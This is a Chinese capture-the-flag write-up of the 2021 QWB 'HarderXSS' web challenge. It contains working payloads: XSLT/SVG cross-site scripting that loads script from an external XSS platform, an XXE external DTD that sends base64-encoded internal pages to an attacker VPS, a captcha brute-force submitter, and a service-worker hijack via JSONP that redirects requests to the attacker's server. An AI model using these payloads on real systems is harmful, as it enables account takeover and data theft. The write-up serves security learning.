2021-强网杯Web-HarderXSS-复现-WP
2021-强网杯Web-HarderXSS复现 赛中 打开容器
看看页面,有登录框
尝试了有注入点
ban了from 感觉基本没办法再注入了
不过可以直接用注入直接登录
但是登录之后还是显示请先登录
后来题目给出了hint:”注意cookie的domain”
看了set-cookie,发现domain不同域名,没办法设置,只能手动设置cookie了
登录成功,有个提交反馈页面
测试一下,验证码前五位直接爆破即可
1 2 3 4 5 6 7 8 def md5 (s ): return hashlib.md5(s).hexdigest() def verify (s ): for i in range (1 , 9999999 ): if md5(str (i).encode("utf8" )).startswith(s): return (i) break print (verify("6febd" ))
是能够实时收到有bot请求的
由于我们是admin登录,所以admin页面可以访问
admin页面的源码中有个display:none的元素
但是没办法访问,估计需要打ssrf
网站上也有用户模块可以访问,可以上传头像,并且也可以实时预览
现在我们有:
1.用户模块可以上传图片和文件(admin页面提到支持矢量图)
2.提交反馈页面,上面可以提交链接,并让bot实时访问
3.有一个https://flaaaaaaaag.cubestone.com?secret=demo,但是需要内网访问
首先从上传图片如果,因为矢量图是xml,并且会有回显,可以打xss和xxe(xxe不大会,是师兄打的,后来也临时学习了一下),打了xss之后,通过提交反馈的页面,让bot访问。
使用xslt+svg来让页面显示html并执行script,尝试的时候发现过滤了script和onload等,最后是通过onanimationend来执行js代码。
先上传一个test.jpg
1 2 3 4 5 6 7 8 9 10 11 <?xml version="1.0" encoding="iso-8859-1"?> <xsl:stylesheet version ="1.0" xmlns:xsl ="http://www.w3.org/1999/XSL/Transform" > <xsl:template match ="/" > <html > <head > <style > @keyframes x{}</style > </head > <body > <svg style ="animation-name:x" onanimationend ="alert(1);" > </svg > </body > </html > </xsl:template > </xsl:stylesheet >
上传后文件的地址为/upload/021aff8ed0971cfd569e7e5ac414b169
再上传一个test.svg,需要将test.jpg的地址放进去让test.svg获取xlst描述文件
1 2 3 4 5 6 7 <?xml version="1.0" standalone="no"?> <?xml-stylesheet type="text/xsl" href="/upload/021aff8ed0971cfd569e7e5ac414b169"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" > <svg version ="1.1" baseProfile ="full" xmlns ="http://www.w3.org/2000/svg" > <polygon id ="triangle" points ="0,0 0,50 50,0" fill ="#009900" stroke ="#004400" /> </svg >
尝试访问一下
成功植入xss,现在可以让bot去访问了
找了个xss平台,需要支持https,因为内网bot访问的路径是https的,这里找的是xss.pt
重新上传jpg文件
1 2 3 4 5 6 7 8 9 10 11 <?xml version="1.0" encoding="iso-8859-1"?> <xsl:stylesheet version ="1.0" xmlns:xsl ="http://www.w3.org/1999/XSL/Transform" > <xsl:template match ="/" > <html > <head > <style > @keyframes x{}</style > </head > <body > <svg style ="animation-name:x" onanimationend ="s=createElement('scr'+'ipt');body.appendChild(s);s.src='https://xss.pt/0mI0';" > </svg > </body > </html > </xsl:template > </xsl:stylesheet >
并让bot去访问,这里写了一个自动提交反馈的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import hashlib,requestsurl = "http://eci-2ze2ci7vzdnfptgng1w2.cloudeci1.ichunqiu.com" cookie = "PHPSESSID=ajsshtnlk1lg06r3ie0tek0eus" header = { "accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" , "accept-encoding" : "gzip, deflate, br" , "accept-language" : "zh,en;q=0.9,zh-CN;q=0.8" , "cache-control" : "max-age=0" , "cookie" : cookie, "sec-ch-ua-mobile" : "?0" , "sec-fetch-dest" : "document" , "sec-fetch-mode" : "navigate" , "sec-fetch-site" : "none" , "sec-fetch-user" : "?1" , "upgrade-insecure-requests" : "1" , "user-agent" : "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36" } def md5 (s ): return hashlib.md5(s).hexdigest() def verify (s ): for i in range (1 , 9999999 ): if md5(str (i).encode("utf8" )).startswith(s): return (i) break a = requests.get(url+"/submit/" ,headers=header) code = a.text.split("验证码MD5后前五位是" )[1 ][0 :5 ] a = requests.post(url+"/submit/submit.php" ,data={ "describe" : 123 , "link" : "https://feedback.cubestone.com/user/" ,"vcode" : verify(code),"submit" : "%E6%8F%90%E4%BA%A4" },headers=header) print (a.text)
收到了内网的cookie,已经成功让bot访问到了,那么就可以通过这个执行任意的js代码了。
但是https://flaaaaaaaag.cubestone.com?secret=demo因为跨域,没有办法通过js访问,也无法看到有什么内容。
这时候师兄通过xxe来成功访问到内网(感谢师兄的引导,又学到东西了)
具体做法是,在自己的vps上放一个外部dtd,(这里测试了,ban了file等等协议,只有php://filter和http(s)://能用,而且由于需要回显,需要将内容base64转码后再传出,要不然会被xml执行到,导致无法执行代码)
1 2 <!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=https://flaaaaaaaag.cubestone.com/?secret=cube"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://vps_domain:port/%data;'>">
然后传上一个svg来引入外部实体执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?xml version="1.0" standalone="yes"?> <!DOCTYPE svg [ <!ELEMENT svg ANY > <!ENTITY % sp SYSTEM "http://your_domain/xxe.xml" > %sp; %param1; ]> <svg viewBox ="0 0 200 200" version ="1.2" xmlns ="http://www.w3.org/2000/svg" style ="fill:red" > <text x ="15" y ="100" style ="fill:black" > XXE via SVG rasterization</text > <rect x ="0" y ="0" rx ="10" ry ="10" width ="200" height ="200" style ="fill:pink;opacity:0.7" /> <flowRoot font-size ="15" > <flowRegion > <rect x ="0" y ="0" width ="200" height ="200" style ="fill:red;opacity:0.3" /> </flowRegion > <flowDiv > <flowPara > &exfil; </flowPara > </flowDiv > </flowRoot > </svg >
执行之后拿到的回显是
1 2 3 4 5 6 <script > document .domain="cubestone.com" ;function pageload (data ) { document .body.innerText=data; } fetch(`loader.php?callback=pageload&secret=cube` ).then((res )=> {return res.text();}).then((data )=> {e
是一个script标签,loader.php?callback=pageload&secret=cube也访问一下吧,看看是什么
1 pageload('Control center access require a vaild secret key. You entered a invaild secret!' )
由此可知,这里有一个jsonp的跨域漏洞
然后php://filter也可以获取代码,拿到了upload.php的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 <?php session_start(); if (!array_key_exists("login" ,$_SESSION )){ die ("login first" ); } else if ($_SESSION ["login" ]===0 ){ die ("login first" ); } $encode =$_POST ["data" ];if (substr($encode ,0 ,5 )!="data:" ){ die ("You!Hacker!" ); } $decode =file_get_contents($encode );if (!(substr($decode ,0 ,2 )==="\xFF\xD8" or substr($decode ,0 ,2 )==="BM" or substr($decode ,0 ,2 )=="\x89\x50" or substr($decode ,0 ,2 )==="GI" )){ $dom = new DOMDocument(); $res =$dom ->loadXML($decode ,LIBXML_DTDLOAD); if (!$res ) die ("Not Image!" ); $decode1 =$dom ->saveXML(); if (preg_match("/file:|data:|zlib:|php:\/\/stdin|php:\/\/input|php:\/\/fd|php:\/\/memory|php:\/\/temp|expect:|ogg:|rar:|glob:|phar:|ftp:|ssh2:|bzip2:|zip:|ftps:/i" ,$decode1 ,$matches )) die ("unsupport protocol: " .$matches [0 ]); if (preg_match("/\/var|\/etc|\.\.|\/proc/i" ,$decode1 ,$matches )){ die ("Illegal URI: " .$matches [0 ]); } $res =$dom ->loadXML($decode ,LIBXML_NOENT); if (!$res ) die ("Not Image!" ); $decode =$dom ->saveXML(); if (preg_match("/script|object|embed|onload\s*=/i" ,$decode )) die ("no script!" ); } $filename =md5(rand());file_put_contents("../upload/" .$filename ,$decode ); $filename ='/upload/' .$filename ;$con =new mysqli("localhost" ,"ctf" ,"123456" ,"ctf" );$res =$con ->query("select img from avatar where userid=$_SESSION [login]" );if ($res ){ if ($res ->fetch_row()){ $res =$con ->query("update avatar set img='$filename ' where userid=$_SESSION [login]" ); if ($res !==TRUE ){ $con ->close(); } die ("update success" ); } } $res =$con ->query("insert into avatar values($_SESSION [login],'$filename ')" );$con ->commit();die ("upload success" );
可以看到ban掉了很多协议,路径上也没办法访问上一层和etc等
到这里,直到比赛结束都没有更多的进展了,secret也一直找不到。
赛后复现 赛后与出题人交流的时候,发了一张图给我们
早知道就应该搜搜题目!!!(T_T)
毫无疑问,做题思路应该跟这个题差不多了。
看了一下文章,是通过serviceWorker来截取浏览器的请求
这里也有比较隐晦地提示bot会先打开我们提交的链接,再打开flaaaaaaaag.cubestone.com,这时候我们可以通过xss跨域植入serviceWorker来截取flaaaaaaaag站的请求。
参考文章,我打了如下的payload
首先用xss植入iframe,让iframe跨域加载flaaaaaaaag站,然后在iframe注册一个sw
看了文章,我们知道sw注册必须同源,那么我们可以通过loader.php的jsonp来引入外部js给sw注册。
在xss平台中放入如下的js代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 if (!window .__x){ document .domain = "cubestone.com" ; var iframe = document .createElement('iframe' ); iframe.src = 'https://flaaaaaaaag.cubestone.com' ; iframe.addEventListener("load" , function ( ) { iffLoadover(); }); document .body.appendChild(iframe); exp = ` var xhr = new XMLHttpRequest(); navigator.serviceWorker.register("/loader.php?secret=asdasd&callback=importScripts('//your_vps/sw.js');//")` ; function iffLoadover ( ) { iframe.contentWindow.eval(exp); } window .__x=1 ; }
然后在自己的vps中放一个sw.js来添加sw的监听事件,
1 2 3 4 5 6 this .addEventListener('fetch' , function (event ) { var body = "<script>location='http://your_vps:port/'+location.search;</script>" ; var init = {headers : {"Content-Type" : "text/html" }}; var res = new Response(body, init); event.respondWith(res.clone()); });
打出去
拿到了secret,同时也得知了,secret就是flag
赛后感想 整个强网杯的时间差不多都耗在这上面了,因为总觉得能解出来,虽然直到赛后通过与出题人交流,得到了hint才能复现出来,感觉十分意难平,但也通过这道题让初入安全的我学习到了很多东西,感谢出题人出了一道如此精彩的题目,也感谢师兄和队员给予我的帮助,整个payload都写得有点随意,请读者(如果有的话)能够多多包涵!
部分参考文章 从一道CTF学习Service Worker的利用:西湖论剑2020-hardxss | Math & Sec ,HACHp1的个人博客
XML所引起的xss攻击_https://www.cnblogs.com/zpchcbd/-CSDN博客